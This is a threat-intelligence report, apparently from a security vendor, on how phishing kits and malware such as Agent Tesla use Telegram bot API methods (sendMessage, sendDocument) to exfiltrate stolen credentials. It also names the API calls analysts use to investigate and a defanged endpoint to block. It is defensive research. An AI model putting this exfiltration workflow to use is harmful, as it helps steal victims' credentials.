Weaponizing Telegram Bots: How Threat Actors Exfiltrate Credentials

By: Kahng An, Intelligence Team

Telegram is a widely used instant-messaging platform that is also abused by threat actors for a range of malicious activity. One of its most useful legitimate features is an extensive collection of web APIs, including APIs used to interact with automated bot accounts. Those bots can post messages in chats and upload files such as screenshots or archives containing stolen information.

Threat actors therefore use Telegram bots as a practical method of data exfiltration through a technically legitimate service. This report explains how the Telegram Bot API is used in credential phishing and malware samples, how bots support command-and-control (C2), and how analysts can query the API to uncover messages and related infrastructure.

Why Legitimate Infrastructure Creates Ambiguity

Telegram’s legitimate infrastructure makes this abuse particularly challenging. Network requests may appear to be normal traffic to a trusted service, while bot tokens, chat IDs, and API methods reveal a coordinated exfiltration workflow. Defenders therefore need more than simple domain reputation; they need campaign and TTP context that connects the email lure, payload, infrastructure, and observed behavior.

Key Takeaways

Telegram Bot API Overview

Telegram provides a robust API for automating bot accounts. Although bots are intended primarily for user interaction within chats, they can send messages, upload files, and download files from a specified group. Threat actors can use those same functions to move text or files from an infected host and to issue additional commands through Telegram messages, effectively turning a chat into C2 infrastructure.

Notable Samples

Telegram bots appear in several malware and phishing workflows, including remote access trojans (RATs), keyloggers, and information stealers. A RAT may receive scripted instructions from a Telegram group, while a keylogger or stealer can send captured keystrokes, browser data, or credentials to the attacker’s chat. Telegram is especially attractive for passive exfiltration because the attacker can rely on a legitimate service rather than maintain complex custom infrastructure.

Credential Phishing

One of the simplest implementations sends data from a credential-phishing form directly to a threat-actor bot. When the victim submits the form, the page makes a “sendMessage” API request containing the captured input.

Figure 1: When the credential phishing form is submitted, the data will be exfiltrated via a Telegram bot.

In the analyzed sample, the POST request exposed the bot ID and the destination chat-room ID. The message body contained the exfiltrated data. The API response also returned useful attributes about the bot and chat, including the bot display name, username, and chat-room name—details that can help analysts pivot to related activity.

Figure 2: The POST request to the Telegram C2 shows the bot’s ID and authentication token.

Figure 3: The body of the POST request includes the ID for the Telegram chat room to exfiltrate the data to.

Notably, when looking at the POST response confirming that the message was sent via the API, additional information can be found about the Telegram bot, including its display name (“bebetologxxz”), username (“bebetologxxz_bot”), and the name of the chat room where the data was exfiltrated to (“Mr Grace 247”).

Figure 4: The body of the POST response includes further information about the Telegram bot and chat room used to exfiltrate data.

Agent Tesla Keylogger

Agent Tesla can exfiltrate data through HTTP, email, or FTP, and it can also be configured to communicate through Telegram. This commonly uses the “sendDocument” method to upload text files or archives, similar to the way a credential-phishing page uses “sendMessage.” The exfiltrated files can contain credentials collected from browser cookies, email clients, and FTP clients.

Agent Tesla was the most prominent malware family in the analyzed Telegram C2 set: 77.7% of the 2024 ATRs using Telegram as C2 involved Agent Tesla samples.

WSH RAT

Telegram Bot API requests can be called by malicious files and scripts, but they can also originate in the browser. In some WSH RAT campaigns, the initial payload-download page—not the RAT itself—reported victim information to a Telegram bot. Messages included the host IP address, geographic location, and browser user-agent, giving the attacker immediate confirmation that the victim had reached or downloaded the payload.

Pure Logs Stealer

Some early Pure Logs Stealer samples associated with the Lone None threat actor used Telegram to exfiltrate credentials and host information. More recent samples also used the public bot profile as a location for part of a second-stage payload URL. The profile contained a short string that malware combined with a temporary file-hosting path to retrieve a malicious Python script.

Figure 5: An example of a Telegram bot profile used by Lone None to store part of a URL payload.

Investigating Telegram Bot Channels

The Telegram Bot API can provide high-fidelity indicators when an analyst obtains a bot token. The “getMe” method, designed to test authorization, returns the bot username and can support attribution or infrastructure pivots. The “getUpdates” and “forwardMessage” methods can also expose historical activity when the token and destination chat ID are known.

Those values are frequently visible in network requests because the attacker must include the token in the API path and the chat ID in the request body. Analysts can use the exposed values to identify the bot, understand the destination, and connect additional messages or samples that share the same exfiltration workflow.

Figure 6: A bot’s authorization token can be found within the POST request URL.

Figure 7: The Telegram chat room that an API request interacts with can be found within the body of the POST request.

Mitigations

The Telegram Bot API can be called from nearly any webpage or program capable of making web requests. Observed abuse includes malicious scripts making direct HTTPS calls, phishing forms sending submitted credentials, malware uploading stolen files, and landing pages notifying attackers that a victim visited or downloaded a payload.

In each case, the victim must first interact with attacker-controlled content—usually a suspicious email, embedded link, or malicious file. Organizations should therefore continue training users to inspect and report unexpected messages, links, and attachments. Reports should be triaged quickly because a single user signal may reveal a broader campaign already present in other inboxes.

If Telegram bots are not used for legitimate business purposes, security teams can consider blocking or alerting on requests to the defanged “api[.]telegram[.]org/bot” path. Common methods include “sendMessage,” “sendDocument,” and “getFile.” Controls should be evaluated against business requirements and implemented with appropriate network and endpoint visibility.

Correlate the Full Campaign

Treat Telegram bot activity as one layer of the investigation, not the entire campaign. Network controls may block or alert on the API endpoint where appropriate, but security teams should also correlate the email samples, payload behavior, bot tokens, chat IDs, and repeated infrastructure into a campaign view. This is especially important when attackers rotate individual indicators but preserve the same delivery and exfiltration pattern.

Cofense Intelligence turns this kind of expert-validated threat research into actionable campaign context, while Cofense Phishing Remediation helps security teams connect related email variants and remove confirmed threats across the email environment. The result is a unified post-perimeter defense that combines phishing-specific AI, human validation, and analyst-controlled response—without treating a legitimate platform itself as proof of malicious activity.